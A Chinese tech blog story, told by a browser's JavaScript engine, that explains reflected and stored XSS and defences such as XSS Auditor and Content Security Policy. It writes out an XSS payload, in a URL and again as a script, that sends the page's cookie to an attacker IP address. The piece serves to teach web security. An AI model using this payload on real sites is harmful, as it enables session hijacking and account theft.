一个神秘URL酿大祸,差点让我背锅!

作者 | 编程技术宇宙

责编 | Carol

封图 | CSDN 付费下载自视觉中国

神秘URL

我叫小风,是Windows帝国一个普通的上班族。上一回说到因为一个跨域请求,我差点丢了饭碗,好在有惊无险,我的职场历险记还在继续。

“叮叮叮叮~~~~”,闹钟又把我给吵醒了,我一看时间竟然已经这么晚了。

我赶紧起身,准备要去上班,好不容易在那家浏览器公司谋了个差事,可不敢迟到。

今天又是普通的一天,很快就到了深夜,上网业务少了,我和小雪妹子一合计,伙同负责网络连接的老白和负责存储的小黑,一起打起了麻将。

一连打了几圈,正在兴头上,公司的美女前台跑了过来,“你们几个别玩了,上网业务来了。老白,这是URL,给”

我瞅了一眼这URL,看上去有些奇怪,不仅比之前见过的都长,貌似还夹杂着一些JavaScript代码。

http://zone.oo.com/user/info.jsp?desc="/><script>$("body").append("<img src='http://192.168.59.129?c="+escape(document.cookie) + "'>")</script><!--

“老白,这URL长的好奇怪?会不会有什么问题?”,我向老白问到。

“嗨,你小子就是新来的,我见过的URL比你执行过的JS代码都多,什么奇形怪状的没见过,大惊小怪”,老白不屑一顾。

“大家把牌盖着,都别看,忙完了回来咱接着打”,老白继续说到。

于是大家各归各位,准备处理这一单上网业务。

很快,老白取回了这个URL背后的网页,交给了小雪来解析渲染。

小雪做了一半,叫住了我:“风哥,又有 <script> 标签了,该你上了”。

我接过小雪手里的网页,猛地一看,这不是刚刚URL里面出现的代码吗?怎么又跑到网页里面去了?

心里突然涌上一种不好的预感,正在困惑之中,老白催我了,“小雪小风你俩赶紧的,网页加载半天了还没显示出来!”

但愿是我多想了,我开始执行这 <script> 标签中的代码了。

<script>$("body").append("\<img src='http://192.168.59.129:10086?c=" + escape(document.cookie) + "'>")
</script>

我要创建一个新的 <img> 标签,添加到网页正文中去。看了一下这个图片的来源,是一个新的地址,再一看,还要把当前网站的Cookie带着作为参数才能拿到这个图片。

我来到小黑的存储仓库,准备向他索要Cookie。

当我表明来意以后,小黑也显得有些谨慎,“按照公司规定,一个网站的Cookie是不能随便给别的网站访问的”

“这我当然知道,不过现在是这个网站的JS代码主动把Cookie取出来发给别人,这不算违反公司规定吧”,我解释到。

小黑邹着眉头想了一想,也就同意了。

我拿到cookie后,构建了一个完整的 <img> 标签添加到了网页的DOM树中,之后还给小雪继续渲染。

网页很快渲染完成展示出来了,忙完之后我们继续开始未完的牌局。

过了一会儿,人类终于关掉了浏览器,我们也可以下班了······

XSS跨站脚本攻击

第二天一早,我刚到公司,小雪妹子就转过头告诉我:“风哥,主管让你去趟他的办公室,他好像不太高兴,你当心点”

“你知道是什么事情吗?”

“我也不太清楚,只听说你执行了什么错误的JavaScript代码”

我心里一紧,感觉大事不妙,难道是昨晚那奇怪的代码有什么问题?

来到主管的办公室,见里面坐了一个年轻小哥。我轻轻的敲了敲门问到:“主管,您找我有事?”

主管见我到来,指着旁边的沙发示意我也坐下。

“你闯祸了知道吗?”,领导扔给我一页文件。

我拿起文件一看,上面赫然写着我昨晚执行那段奇怪的JavaScript代码。

“主管,我不太清楚,这是有什么问题吗?”,我小声问道。

主管指着旁边那个年轻小哥说到:“这位是OO空间网站的负责人,让他告诉你吧”

小哥点了点头说到:“是这样的,我们发现有人盗用我们网站的Cookie,免登录直接访问了进去,经过日志排查,发现是你们这里把Cookie泄露的,所以想过来了解一下情况。”

“这段代码是你们网站自己的,我只是完成我的工作执行了它而已啊”,我开始有些紧张了。

“可是我们网站根本没有这段代码,也不可能把Cookie就这样发给别人的”,这小哥也争辩道。

办公室的气氛变得有些紧张,现场陷入了短暂的安静。

就在此时,年轻小哥出去接了一个电话。

片刻之后,小哥再次回到办公室,脸色突然和缓了许多,笑着说到:“不好意思,刚刚接到同事的电话说,他们已经排查出了问题,是我们网站对URL中的参数没有检查,直接写入了网页中,被人利用传入了JS代码。跟你们应该没有关系,实在是抱歉”

听完,我松了一口气,差点就要背锅了。

回到工位,我把事情的经过告诉了大伙。

小雪听后吐槽:“那些奇奇怪怪的URL就别乱点嘛,真是给我们添乱”

“你看你看,我昨晚上就觉得有些不对劲。这坏蛋手段挺高啊,能想出这么个损招,咱们给这种攻击方式取个名字吧”,小黑说到,“叫Cross Site Script攻击怎么样?”

老白点了点头,“跨站脚本攻击,嗯,总结很到位,那就简称CSS吧!”

小雪一听转过头来,“你叫CSS,那我的层叠样式表岂不是要改名让贤?”

老白挠了挠头,有些不好意思,“哦,忘了这一茬。那改一下,叫XSS,这总可以了吧?”

我们都点了点头,就这么定了。

XSS Auditor

虽然这一次的事情责任不在我们浏览器,不过我一直还是有些后怕。

这天晚上,我又仔细回忆了那天整个事情的经过。

突然脑子里灵光一闪,发现一个重要的特点。

既然JS代码同时出现在了请求的URL中和响应的网页中,何不利用这个特点来进行针对性拦截呢?

越想越难入睡,连夜写起了方案。

第二天,来到公司,打算将昨晚的方案汇报给主管,挣一下表现。

我再次来到主管办公室,主管见是我,招呼道:“小风啊,来来来,刚好找你有点事”

我快步走了进去,只见主管又拿出了一叠文件放在我的面前,随后说到:“这是我搞到的绝密资料,是咱们隔壁Chrome浏览器公司的一个叫XSS Auditor的技术,据说可以阻止类似上次的攻击事件,你抽空研究一下”

我脑子一懵,赶紧快速浏览了这份文件,没想到居然跟我的方案撞到一块儿了,而且比我想的还全面细致。我只好悄悄收起了原来准备汇报的方案······

几天后,主管宣布我们也要用上这种技术,增强咱们浏览器的安全性。

存储型XSS

“听说了吗?隔壁Chrome浏览器公司也发生XSS攻击了”,一天中午,老白神神秘秘的说到。

我一听来了精神,“不是有XSS Auditor吗,怎么还会发生这种事?”

“这回那些坏蛋换招了,他们没有把JS代码放在URL中,XSS Auditor自然是发觉不了了”

“不在URL中,那放哪里了?”

“听说是存在了数据库里,访问网页的时候从数据库里读取出来后,直接给填充到了网页上了,喏,就像这样”,老白说完画了一个图。

“对了,他们借此机会把XSS攻击分成了两种,以前那种直接通过URL把JS代码注入进网页的方式叫做反射型XSS ,这一次这种叫存储型XSS。”,老白继续说到。

我看了老白的图一下就明白了,“这一招也太狠了,存进了网站的数据库里,所有人访问页面都得中招。”

“可不是咋的,OO空间网站那边已经乱成一锅粥了,正在内部整顿,对所有的输入进行全面的检查过滤,防止JS代码混进去。”

“这种事情还是得他们网站自己做好检查,咱们浏览器也帮不上什么忙”,一旁的小黑也插了一嘴。

大家七嘴八舌聊了几句就散了。

虽然小黑说的也没错,不过上次的方案撞车,我一直不太服气,这一次机会来了,我要是能再想出一套方案,能把这次的新型XSS一并解决的话,那就扬眉吐气了。

之后一段时间,一有闲暇我就开始思考这个问题,却一直没什么进展。

CSP

这一天中午,没什么工作要忙,我又想起了这个问题,小雪他们又组织打麻将,我没有心思便拒绝了。

老白闻讯过来,说到:“小风,你还在想那个问题啊,你这两天没看新闻吗,W3C标准化组织推出了一个新技术,已经把这个问题解决了!”

老白的话如当头一棒,“什么技术?怎么解决的?”

“你看你,天天关起门来研究,都不知道外面的世界变化有多快。你去了解一下,好像叫什么Content Security Policy,哦对,就是这个,简称叫CSP。”

我赶紧去打听了这个叫CSP的新技术,看完直拍大腿,我怎么就没想到。

CSP规定了一个叫Content-Security-Policy的信息,网站通过这个信息告诉浏览器哪些外部资源可以加载和执行。这个信息可以用HTTP头的形式出现,像这样:

也可以通过 <meta> 标签出现,像这样:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">

至于里面的内容,则是将所有可能出现外部资源加载的地方进行了指示,浏览器拿到它就能知道能去哪些地址加载对应的资源,如果资源所在的地址不在名单之内就拒绝加载:

- script-src:外部脚本
- style-src:样式表
- img-src:图像
- media-src:媒体文件(音频和视频)
- font-src:字体文件
- object-src:插件(比如 Flash)
- child-src:框架
- frame-ancestors:嵌入的外部资源
- connect-src:HTTP 连接(通过 XHR、WebSockets、EventSource等)
- worker-src:worker脚本
- manifest-src:manifest 文件

比如 img-src的内容是self,那所有的 <img> 标签的src属性必须是在当前网站才行,如果加载其他地址的图片就会拒绝。

不仅如此,还提供了一个叫report-uri的字段,字段内容是一个服务器地址,浏览器发现有不符合规定的资源加载后,除了拒绝加载还可以把这一情况报告给这个地址,网站就能及时知道预警了。

真是完美的解决方案!没想到,竟然这么多竞争对手都已经用上了这项技术。

当天下午,我就拉着老白去到领导办公室,说服他将这项技术在咱们公司也用起来。

烦人的XSS攻击总算是缓解了不少,我们也难得度过了一段时间的太平日子。

未完待续······

彩蛋

太平的日子没有太持久,那件事之后半个月,我又因为执行一段JS代码霸占CPU太久,被帝国安全警卫队勒令我们浏览器公司强制关闭。

执行JavaScript这份工是越来越不好打了。

预知后事如何,请持续关注……

推荐阅读

  • 云计算,巨头们的背水一战

  • 整理了一份 Docker系统知识,从安装到熟练操作看这篇就够了 | 原力计划

  • 借助大数据进行社交媒体营销,企业们得这么玩!

  • 追忆童年,教你用Python画出儿时卡通人物

  • AI 终极问题:我们的大脑是一台超级计算机吗?

  • 公链的历史交叉口:PoS还能走多远?

真香,朕在看了!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/517660.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

支付宝王益:40岁写30年代码是一种什么体验?

对于蚂蚁金服研究员王益而言&#xff0c;2019年是个颇有纪念意义的年份。今年他整40岁。从10岁开始&#xff0c;写代码整30年。这30年来&#xff0c;他当过“不务正业”的学生&#xff0c;创纪录地在大一就考下系统分析员&#xff0c;“单枪匹⻢”闯荡过从国内到硅谷的多家知名…

牛!2020年,这项技术将获得1,000,000,000元人民币注资!

在今年的特殊情况下&#xff0c;国外的AI明星公司轰然倒塌&#xff0c;一夜之间倒闭。又有某AI大厂一年亏了60亿……就像看破楼市一样&#xff0c;我们不由心想&#xff1a;“AI&#xff0c;会不会从头到尾就是一场泡沫&#xff1f;”但是&#xff0c;最近国家发的“定心丸”来…

基于阿里云的 Node.js 稳定性实践

前言 如果你看过 2018 Node.js 的用户报告&#xff0c;你会发现 Node.js 的使用有了进一步的增长&#xff0c;同时也出现了一些新的趋势。 Node.js 的开发者更多的开始使用容器并积极的拥抱 ServerlessNode.js 越来越多的开始服务于企业开发半数以上的 Node.js 应用都使用远端…

Knative 实战:基于阿里云 Kafka 实现消息推送

在 Knative 中已经提供了对 Kafka 事件源的支持&#xff0c;那么如何在阿里云上基于 Kafka 实现消息推送&#xff0c;本文给大家解锁这一新的姿势。 背景 消息队列 for Apache Kafka 是阿里云提供的分布式、高吞吐、可扩展的消息队列服务。消息队列 for Apache Kafka 广泛用于…

“编程能力差,90%输在了数学上!”CTO:多数程序员都是瞎努力!

01从未得到过重视的问题一流程序员学数学&#xff0c;二流程序员学算法&#xff0c;低端看高端就是黑魔法。可能有人以为这就是个段子&#xff0c;但有过工作经验的都知道&#xff0c;这其实就是程序员的真实写照&#xff01;想一想&#xff0c;我们学习、求职、工作的场景中&a…

没有写入hosts文件权限

文章目录1. 效果图2. 现象3. 解决方案4. 赋予权限5. 成功截图1. 效果图 2. 现象 3. 解决方案 4. 赋予权限 5. 成功截图

6万人同时离场,竟然一点都不挤?原来用了这个神器

阿里妹导读&#xff1a;阿里20周年年会上&#xff0c;全球6万阿里人 "回家"&#xff0c;用一种特别的方式为阿里庆生。年会现场&#xff0c;每位阿里员工人手一只白色IoT手环&#xff0c;这个由102颗LED小灯组成的手环&#xff0c;随着现场音乐、节目节奏变幻不同色彩…

独家揭秘 | 阿里怎么做双11全链路压测?

阿里妹导读&#xff1a;全链路压测是阿里的首创&#xff0c;我们将从工作内容、操作过程、运行总结等多个方向来介绍下阿里内部典型电商活动&#xff08;如双11准备&#xff09;&#xff0c;以给大家展示一个完整的压测流程&#xff0c;帮助更多的企业和用户更好的完成性能测试…

读取模式错误,计算引擎操作复杂……面对Hadoop这些问题该如何应对?

作者 | Monte Zweben译者 | 天道酬勤&#xff0c;责编 | Carol封图 | CSDN 付费下载自视觉中国Apache Hadoop于2006年出现在IT领域&#xff0c;它使用商品硬件&#xff0c;为组织提供前所未有的数据量存储能力。不仅解决了数据集的大小问题&#xff0c;还解决了数据类型问题&am…

Nacos 集群集成SpringBoot2.x 微服务_02

文章目录一、SpringBoot2.x 微服务1. 依赖引入2. bootstrap.yaml配置3. 测试类二、nacos配置规则2.1. 登录nacos2.2. 配置规则三、测试验证3.1. 启动项目3.2. 验证一、SpringBoot2.x 微服务 1. 依赖引入 <parent><groupId>org.springframework.boot</groupId&g…

蚂蚁“备战”TPC-C这1年

阿里妹导读&#xff1a;1年前OceanBase团队开了个会&#xff0c;定了个小目标&#xff0c;接下来的一年中这群工程师闭关攻坚。从掉头发到睡几个小时就跳起来看邮件&#xff0c;更甚至有人天天焦虑地捧着手机等邮件。 1年后&#xff0c;蚂蚁金服自研数据库OceanBase登上TPC-C排…

瞧!公务员的工作还可以这样干

盼啊盼&#xff0c;第六届世界互联网大会在乌镇如期而至。 在今天的大会上&#xff0c;小云带来了帮助公务员提升工作效率的“神器”&#xff0c;平头哥压箱底的“宝贝”...... 一起来深入了解下。 政务钉钉来了&#xff01;告别公务员传统工作方式 今天&#xff0c;浙江省政…

Nacos 集群搭建_01

文章目录一、准备工作1. 服务器部署2. nacos下载2. nacos下载与解压3. 编辑配置文件4. nacos 集群配置二、初始化nacos脚本2.1. 创建nacos数据库2.2. 初始化nacos脚本三、启动nacos集群3.1. 启动nacos服务3.2. 测试验证一、准备工作 1. 服务器部署 系统版本ip部署应用应用版本…

学数据科学,为何不尝试这 9 个编程语言!

在256种编程语言中&#xff0c;了解数据科学的编程语言&#xff01;作者 | Rashi Desai 译者 | Arvin&#xff0c;责编 | 屠敏头图 | CSDN 下载自东方 IC出品 | CSDN&#xff08;ID&#xff1a;CSDNnews&#xff09;数据科学在相当长一段时间以来一直是一件大事。在当今飞速发展…

Swift 5 时代的机遇与挑战到底在哪里?

作者|刘镇夫&#xff08;小鱼&#xff09; 出品|阿里巴巴新零售淘系技术部 本文是知名 ios 开发者 NSHipster中文译者-刘镇夫&#xff08;小鱼&#xff09;&#xff0c;在云栖大会上为大家带来的分享&#xff0c;本文主要介绍几点&#xff0c;第一、Swift 5 代表什么&#xff1…

Nacos 集群整合 Nginx 实现反向代理、负载均衡_03

文章目录一、Nginx 配置1. 下载安装nginx2. 配置nginx3. 启动nginx4. 测试验证5. 配置域名4.6. 域名验证一、Nginx 配置 1. 下载安装nginx https://gblfy.blog.csdn.net/article/details/119536779 2. 配置nginx # 进入nginx目录 cd /usr/local/nginx/conf# 编辑nginx.conf…

阿里云Kubernetes CSI实践—NAS动态存储卷使用

1. 前言 NAS存储盘能将nfs&#xff08;网络文件系统&#xff09;挂载到你的Pod中&#xff0c;阿里云Kubernetes CSI支持静态存储卷挂载和动态存储卷挂载2种方式&#xff0c; 在静态存储卷挂载的方式中&#xff0c;通常需要手动编辑和创建一个pv/pvc进行挂载&#xff0c;当需要…

怒肝 8 个月源码,我成为了 Spring 开源贡献者

作者 | cxuan 来源 | 程序员cxuan责编| 王晓曼前言我最近一直在写Spring的文章&#xff0c;而且仅仅是 Spring FrameWork 的文章 ,从最开始的官网入门到现在源码的深度分析。主要就是三个系列&#xff1a;官网入门系列&#xff0c;Spring官网读书笔记&#xff0c;这一系列的文章…

HTTPS配置过程

该文章借鉴于博主小东很不戳 先在自己项目中根目录下生成数字证书 生成命令如下&#xff1a;keytool -genkey -alias tomcathttps -keyalg RSA -keysize 2048 -keystore sang.p12 -validity 365 命令解释 • -genkey表示要创一个新的密钥。 • alias表示 keystore 的别名。…

汇报时,如何让老板快速抓住重点?—— 黄金三步法

阿里妹导读&#xff1a;对事物的归类分组是我们人类的天性&#xff0c;我们的大脑会自动将发现的所有事物以某种持续组织起来。但如何组织才能帮助我们解决工作和生活中出现的各种复杂问题&#xff1f;今天&#xff0c;我们请阿里高级技术专家张建飞分享他的黄金三步法。 我们…